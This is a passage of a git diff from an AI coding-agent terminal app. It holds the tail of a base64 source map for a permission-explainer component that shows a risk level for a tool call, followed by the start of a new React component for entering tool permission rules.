iwgaW5kZXgpID0+IChcbiAgICAgICAgICA8U2hpbW1lckNoYXJcbiAgICAgICAgICAgIGtleT17aW5kZXh9XG4gICAgICAgICAgICBjaGFyPXtjaGFyfVxuICAgICAgICAgICAgaW5kZXg9e2luZGV4fVxuICAgICAgICAgICAgZ2xpbW1lckluZGV4PXtnbGltbWVySW5kZXh9XG4gICAgICAgICAgICBtZXNzYWdlQ29sb3I9XCJpbmFjdGl2ZVwiXG4gICAgICAgICAgICBzaGltbWVyQ29sb3I9XCJ0ZXh0XCJcbiAgICAgICAgICAvPlxuICAgICAgICApKX1cbiAgICAgIDwvVGV4dD5cbiAgICA8L0JveD5cbiAgKVxufVxuXG5mdW5jdGlvbiBnZXRSaXNrQ29sb3Iocmlza0xldmVsOiBSaXNrTGV2ZWwpOiAnc3VjY2VzcycgfCAnd2FybmluZycgfCAnZXJyb3InIHtcbiAgc3dpdGNoIChyaXNrTGV2ZWwpIHtcbiAgICBjYXNlICdMT1cnOlxuICAgICAgcmV0dXJuICdzdWNjZXNzJ1xuICAgIGNhc2UgJ01FRElVTSc6XG4gICAgICByZXR1cm4gJ3dhcm5pbmcnXG4gICAgY2FzZSAnSElHSCc6XG4gICAgICByZXR1cm4gJ2Vycm9yJ1xuICB9XG59XG5cbmZ1bmN0aW9uIGdldFJpc2tMYWJlbChyaXNrTGV2ZWw6IFJpc2tMZXZlbCk6IHN0cmluZyB7XG4gIHN3aXRjaCAocmlza0xldmVsKSB7XG4gICAgY2FzZSAnTE9XJzpcbiAgICAgIHJldHVybiAnTG93IHJpc2snXG4gICAgY2FzZSAnTUVESVVNJzpcbiAgICAgIHJldHVybiAnTWVkIHJpc2snXG4gICAgY2FzZSAnSElHSCc6XG4gICAgICByZXR1cm4gJ0hpZ2ggcmlzaydcbiAgfVxufVxuXG50eXBlIFBlcm1pc3Npb25FeHBsYW5hdGlvblByb3BzID0ge1xuICB0b29sTmFtZTogc3RyaW5nXG4gIHRvb2xJbnB1dDogdW5rbm93blxuICB0b29sRGVzY3JpcHRpb24/OiBzdHJpbmdcbiAgbWVzc2FnZXM/OiBNZXNzYWdlW11cbn1cblxudHlwZSBFeHBsYWluZXJTdGF0ZSA9IHtcbiAgdmlzaWJsZTogYm9vbGVhblxuICBlbmFibGVkOiBib29sZWFuXG4gIHByb21pc2U6IFByb21pc2U8UGVybWlzc2lvbkV4cGxhbmF0aW9uVHlwZSB8IG51bGw+IHwgbnVsbFxufVxuXG4vKipcbiAqIENyZWF0ZXMgYW4gZXhwbGFuYXRpb24gcHJvbWlzZSB0aGF0IG5ldmVyIHJlamVjdHMuXG4gKiBFcnJvcnMgYXJlIGNhdWdodCBhbmQgcmV0dXJuZWQgYXMgbnVsbC5cbiAqL1xuZnVuY3Rpb24gY3JlYXRlRXhwbGFuYXRpb25Qcm9taXNlKFxuICBwcm9wczogUGVybWlzc2lvbkV4cGxhbmF0aW9uUHJvcHMsXG4pOiBQcm9taXNlPFBlcm1pc3Npb25FeHBsYW5hdGlvblR5cGUgfCBudWxsPiB7XG4gIHJldHVybiBnZW5lcmF0ZVBlcm1pc3Npb25FeHBsYW5hdGlvbih7XG4gICAgdG9vbE5hbWU6IHByb3BzLnRvb2xOYW1lLFxuICAgIHRvb2xJbnB1dDogcHJvcHMudG9vbElucHV0LFxuICAgIHRvb2xEZXNjcmlwdGlvbjogcHJvcHMudG9vbERlc2NyaXB0aW9uLFxuICAgIG1lc3NhZ2VzOiBwcm9wcy5tZXNzYWdlcyxcbiAgICBzaWduYWw6IG5ldyBBYm9ydENvbnRyb2xsZXIoKS5zaWduYWwsIC8vIFdvbid0IGFib3J0IC0gcmVxdWVzdCBpcyBmYXN0IGVub3VnaFxuICB9KS5jYXRjaCgoKSA9PiBudWxsKVxufVxuXG4vKipcbiAqIEhvb2sgdGhhdCBtYW5hZ2VzIHRoZSBwZXJtaXNzaW9uIGV4cGxhaW5lciBzdGF0ZS5cbiAqIENyZWF0ZXMgdGhlIGZldGNoIHByb21pc2UgbGF6aWx5IChvbmx5IHdoZW4gdXNlciBoaXRzIEN0cmwrRSlcbiAqIHRvIGF2b2lkIGNvbnN1bWluZyB0b2tlbnMgZm9yIGV4cGxhbmF0aW9ucyB1c2VycyBuZXZlciB2aWV3LlxuICovXG5leHBvcnQgZnVuY3Rpb24gdXNlUGVybWlzc2lvbkV4cGxhaW5lclVJKFxuICBwcm9wczogUGVybWlzc2lvbkV4cGxhbmF0aW9uUHJvcHMsXG4pOiBFeHBsYWluZXJTdGF0ZSB7XG4gIGNvbnN0IGVuYWJsZWQgPSBpc1Blcm1pc3Npb25FeHBsYWluZXJFbmFibGVkKClcbiAgY29uc3QgW3Zpc2libGUsIHNldFZpc2libGVdID0gdXNlU3RhdGUoZmFsc2UpXG4gIGNvbnN0IFtwcm9taXNlLCBzZXRQcm9taXNlXSA9XG4gICAgdXNlU3RhdGU8UHJvbWlzZTxQZXJtaXNzaW9uRXhwbGFuYXRpb25UeXBlIHwgbnVsbD4gfCBudWxsPihudWxsKVxuXG4gIC8vIFVzZSBrZXliaW5kaW5nIGZvciBjdHJsK2UgdG9nZ2xlIChjb25maWd1cmFibGUgdmlhIGtleWJpbmRpbmdzLmpzb24pXG4gIHVzZUtleWJpbmRpbmcoXG4gICAgJ2NvbmZpcm06dG9nZ2xlRXhwbGFuYXRpb24nLFxuICAgICgpID0+IHtcbiAgICAgIGlmICghdmlzaWJsZSkge1xuICAgICAgICBsb2dFdmVudCgndGVuZ3VfcGVybWlzc2lvbl9leHBsYWluZXJfc2hvcnRjdXRfdXNlZCcsIHt9KVxuICAgICAgICAvLyBPbmx5IGNyZWF0ZSB0aGUgcHJvbWlzZSBvbiBmaXJzdCB0b2dnbGUgKGxhenkgbG9hZGluZylcbiAgICAgICAgaWYgKCFwcm9taXNlKSB7XG4gICAgICAgICAgc2V0UHJvbWlzZShjcmVhdGVFeHBsYW5hdGlvblByb21pc2UocHJvcHMpKVxuICAgICAgICB9XG4gICAgICB9XG4gICAgICBzZXRWaXNpYmxlKHYgPT4gIXYpXG4gICAgfSxcbiAgICB7IGNvbnRleHQ6ICdDb25maXJtYXRpb24nLCBpc0FjdGl2ZTogZW5hYmxlZCB9LFxuICApXG5cbiAgcmV0dXJuIHsgdmlzaWJsZSwgZW5hYmxlZCwgcHJvbWlzZSB9XG59XG5cbi8qKlxuICogSW5uZXIgY29tcG9uZW50IHRoYXQgdXNlcyBSZWFjdCAxOSdzIHVzZSgpIHRvIHJlYWQgdGhlIHByb21pc2UuXG4gKiBTdXNwZW5kcyB3aGlsZSBsb2FkaW5nLCByZXR1cm5zIG51bGwgb24gZXJyb3IuXG4gKi9cbmZ1bmN0aW9uIEV4cGxhbmF0aW9uUmVzdWx0KHtcbiAgcHJvbWlzZSxcbn06IHtcbiAgcHJvbWlzZTogUHJvbWlzZTxQZXJtaXNzaW9uRXhwbGFuYXRpb25UeXBlIHwgbnVsbD5cbn0pOiBSZWFjdC5SZWFjdE5vZGUge1xuICBjb25zdCBleHBsYW5hdGlvbiA9IHVzZShwcm9taXNlKVxuXG4gIGlmICghZXhwbGFuYXRpb24pIHtcbiAgICByZXR1cm4gKFxuICAgICAgPEJveCBtYXJnaW5Ub3A9ezF9PlxuICAgICAgICA8VGV4dCBkaW1Db2xvcj5FeHBsYW5hdGlvbiB1bmF2YWlsYWJsZTwvVGV4dD5cbiAgICAgIDwvQm94PlxuICAgIClcbiAgfVxuXG4gIHJldHVybiAoXG4gICAgPEJveCBmbGV4RGlyZWN0aW9uPVwiY29sdW1uXCIgbWFyZ2luVG9wPXsxfT5cbiAgICAgIDxUZXh0PntleHBsYW5hdGlvbi5leHBsYW5hdGlvbn08L1RleHQ+XG4gICAgICA8Qm94IG1hcmdpblRvcD17MX0+XG4gICAgICAgIDxUZXh0PntleHBsYW5hdGlvbi5yZWFzb25pbmd9PC9UZXh0PlxuICAgICAgPC9Cb3g+XG4gICAgICA8Qm94IG1hcmdpblRvcD17MX0+XG4gICAgICAgIDxUZXh0PlxuICAgICAgICAgIDxUZXh0IGNvbG9yPXtnZXRSaXNrQ29sb3IoZXhwbGFuYXRpb24ucmlza0xldmVsKX0+XG4gICAgICAgICAgICB7Z2V0Umlza0xhYmVsKGV4cGxhbmF0aW9uLnJpc2tMZXZlbCl9OlxuICAgICAgICAgIDwvVGV4dD5cbiAgICAgICAgICA8VGV4dD4ge2V4cGxhbmF0aW9uLnJpc2t9PC9UZXh0PlxuICAgICAgICA8L1RleHQ+XG4gICAgICA8L0JveD5cbiAgICA8L0JveD5cbiAgKVxufVxuXG4vKipcbiAqIENvbnRlbnQgY29tcG9uZW50IC0gc2hvd3MgbG9hZGluZyAodmlhIFN1c3BlbnNlKSBvciBleHBsYW5hdGlvbiB3aGVuIHZpc2libGVcbiAqL1xuZXhwb3J0IGZ1bmN0aW9uIFBlcm1pc3Npb25FeHBsYWluZXJDb250ZW50KHtcbiAgdmlzaWJsZSxcbiAgcHJvbWlzZSxcbn06IHtcbiAgdmlzaWJsZTogYm9vbGVhblxuICBwcm9taXNlOiBQcm9taXNlPFBlcm1pc3Npb25FeHBsYW5hdGlvblR5cGUgfCBudWxsPiB8IG51bGxcbn0pOiBSZWFjdC5SZWFjdE5vZGUge1xuICBpZiAoIXZpc2libGUgfHwgIXByb21pc2UpIHtcbiAgICByZXR1cm4gbnVsbFxuICB9XG5cbiAgcmV0dXJuIChcbiAgICA8U3VzcGVuc2VcbiAgICAgIGZhbGxiYWNrPXtcbiAgICAgICAgPEJveCBtYXJnaW5Ub3A9ezF9PlxuICAgICAgICAgIDxTaGltbWVyTG9hZGluZ1RleHQgLz5cbiAgICAgICAgPC9Cb3g+XG4gICAgICB9XG4gICAgPlxuICAgICAgPEV4cGxhbmF0aW9uUmVzdWx0IHByb21pc2U9e3Byb21pc2V9IC8+XG4gICAgPC9TdXNwZW5zZT5cbiAgKVxufVxuIl0sIm1hcHBpbmdzIjoiO0FBQUEsT0FBT0EsS0FBSyxJQUFJQyxRQUFRLEVBQUVDLEdBQUcsRUFBRUMsUUFBUSxRQUFRLE9BQU87QUFDdEQsU0FBU0MsR0FBRyxFQUFFQyxJQUFJLFFBQVEsY0FBYztBQUN4QyxTQUFTQyxhQUFhLFFBQVEsb0NBQW9DO0FBQ2xFLFNBQVNDLFFBQVEsUUFBUSxtQ0FBbUM7QUFDNUQsY0FBY0MsT0FBTyxRQUFRLHdCQUF3QjtBQUNyRCxTQUNFQyw2QkFBNkIsRUFDN0JDLDRCQUE0QixFQUM1QixLQUFLQyxxQkFBcUIsSUFBSUMseUJBQXlCLEVBQ3ZELEtBQUtDLFNBQVMsUUFDVCxnREFBZ0Q7QUFDdkQsU0FBU0MsV0FBVyxRQUFRLDJCQUEyQjtBQUN2RCxTQUFTQyxtQkFBbUIsUUFBUSxtQ0FBbUM7QUFFdkUsTUFBTUMsZUFBZSxHQUFHLHNCQUFzQjtBQUU5QyxTQUFBQyxtQkFBQTtFQUFBLE1BQUFDLENBQUEsR0FBQUMsRUFBQTtFQUNFLE9BQUFDLEdBQUEsRUFBQUMsWUFBQSxJQUE0Qk4sbUJBQW1CLENBQ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
\ No newline at end of file
diff --git a/_all-in-one-upload/cc-haha/src/components/permissions/rules/PermissionRuleInput.tsx b/_all-in-one-upload/cc-haha/src/components/permissions/rules/PermissionRuleInput.tsx
new file mode 100644
index 0000000..13b7b0b
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/components/permissions/rules/PermissionRuleInput.tsx
@@ -0,0 +1,138 @@
+import { c as _c } from "react/compiler-runtime";
+import figures from 'figures';
+import * as React from 'react';
+import { useState } from 'react';
+import TextInput from '../../../components/TextInput.js';
+import { useExitOnCtrlCDWithKeybindings } from '../../../hooks/useExitOnCtrlCDWithKeybindings.js';
+import { useTerminalSize } from '../../../hooks/useTerminalSize.js';
+import { Box, Newline, Text } from '../../../ink.js';
+import { useKeybinding } from '../../../keybindings/useKeybinding.js';
+import { BashTool } from '../../../tools/BashTool/BashTool.js';
+import { WebFetchTool } from '../../../tools/WebFetchTool/WebFetchTool.js';
+import type { PermissionBehavior, PermissionRuleValue } from '../../../utils/permissions/PermissionRule.js';
+import { permissionRuleValueFromString, permissionRuleValueToString } from '../../../utils/permissions/permissionRuleParser.js';
+export type PermissionRuleInputProps = {
+  onCancel: () => void;
+  onSubmit: (ruleValue: PermissionRuleValue, ruleBehavior: PermissionBehavior) => void;
+  ruleBehavior: PermissionBehavior;
+};
+export function PermissionRuleInput(t0) {
+  const $ = _c(24);
+  const {
+    onCancel,
+    onSubmit,
+    ruleBehavior
+  } = t0;
+  const [inputValue, setInputValue] = useState("");
+  const [cursorOffset, setCursorOffset] = useState(0);
+  const exitState = useExitOnCtrlCDWithKeybindings();
+  let t1;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t1 = {
+      context: "Settings"
+    };
+    $[0] = t1;
+  } else {
+    t1 = $[0];
+  }
+  useKeybinding("confirm:no", onCancel, t1);
+  const {
+    columns
+  } = useTerminalSize();
+  const textInputColumns = columns - 6;
+  let t2;
+  if ($[1] !== onSubmit || $[2] !== ruleBehavior) {
+    t2 = value => {
+      const trimmedValue = value.trim();
